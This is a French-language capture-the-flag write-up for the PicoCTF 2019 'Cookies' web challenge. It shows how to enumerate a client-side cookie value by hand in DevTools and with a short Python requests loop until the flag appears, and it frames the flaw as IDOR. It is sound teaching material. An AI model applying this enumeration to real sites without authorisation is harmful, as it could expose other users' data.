Cookies – PicoCTF 2019

Web 2025-05-15 · PicoCTF 2019 · Par CTFdojo · ⏱ ... · 👁 ... vues
𝕏 Partager
TL;DR

Le site utilise un cookie name pour afficher différents types de cookies (nourriture). En énumérant les valeurs de 0 à 18 via les DevTools, on trouve le flag à name=18.

PlateformePicoCTF 2019
CatégorieWeb Exploitation
Points150 pts
DifficultéDébutant
TechniqueManipulation de cookies HTTP

Description du challenge

Le challenge présente un site sur le thème des cookies (biscuits). La description indique :

"Who doesn't love cookies? Try to figure out the best cookie! http://2019shell1.picoctf.com:21485"

Un formulaire permet de chercher un type de cookie par son nom. L'objectif est de comprendre comment le site gère ses cookies côté client.

Étape 1 — Reconnaissance

On ouvre le site et on soumet une recherche avec le mot snickerdoodle (proposé par défaut). La page affiche : "I love snickerdoodle cookies!"

On ouvre les DevTools (F12) → onglet ApplicationCookies. On observe :

name=0

La valeur est un entier. Le site associe chaque type de cookie à un identifiant numérique.

Étape 2 — Hypothèse

Si name=0 correspond à "snickerdoodle", il y a sûrement d'autres valeurs — ou le flag. On énumère. Deux approches :

Étape 3 — Test manuel

Dans les DevTools → Application → Cookies, on change name à 1 et on recharge. On continue à incrémenter :

name=0  → snickerdoodle
name=1  → chocolate chip
name=2  → oatmeal raisin
name=3  → gingersnap
...
name=18 → [FLAG]

Étape 4 — Automatisation avec Python

import requests

url = "http://2019shell1.picoctf.com:21485/"

for i in range(25):
    cookies = {"name": str(i)}
    r = requests.get(url, cookies=cookies)
    if "picoCTF" in r.text:
        print(f"[+] Flag trouvé avec name={i}")
        start = r.text.find("picoCTF{")
        end   = r.text.find("}", start) + 1
        print(r.text[start:end])
        break
    else:
        print(f"[-] name={i} : pas de flag")
[-] name=0  : pas de flag
[-] name=1  : pas de flag
...
[+] Flag trouvé avec name=18
picoCTF{***************************}
🚩 picoCTF{flag intentionnellement masqué}

Le flag est volontairement caché — suis la méthode, tu l'as mérité. 💪

Ce qu'on retient

Ce challenge illustre un problème de contrôle d'accès côté client : le serveur fait confiance à la valeur d'un cookie sans la valider. En manipulant name, on accède à du contenu caché.

Dans un vrai contexte, ce type de vulnérabilité peut exposer des données d'autres utilisateurs (IDOR — Insecure Direct Object Reference) ou des endpoints d'administration.

Ressources

Tu as une question ou une autre approche ?

Discute de ce writeup avec la communauté dans le Discord CTFdojo.

Rejoindre le Discord →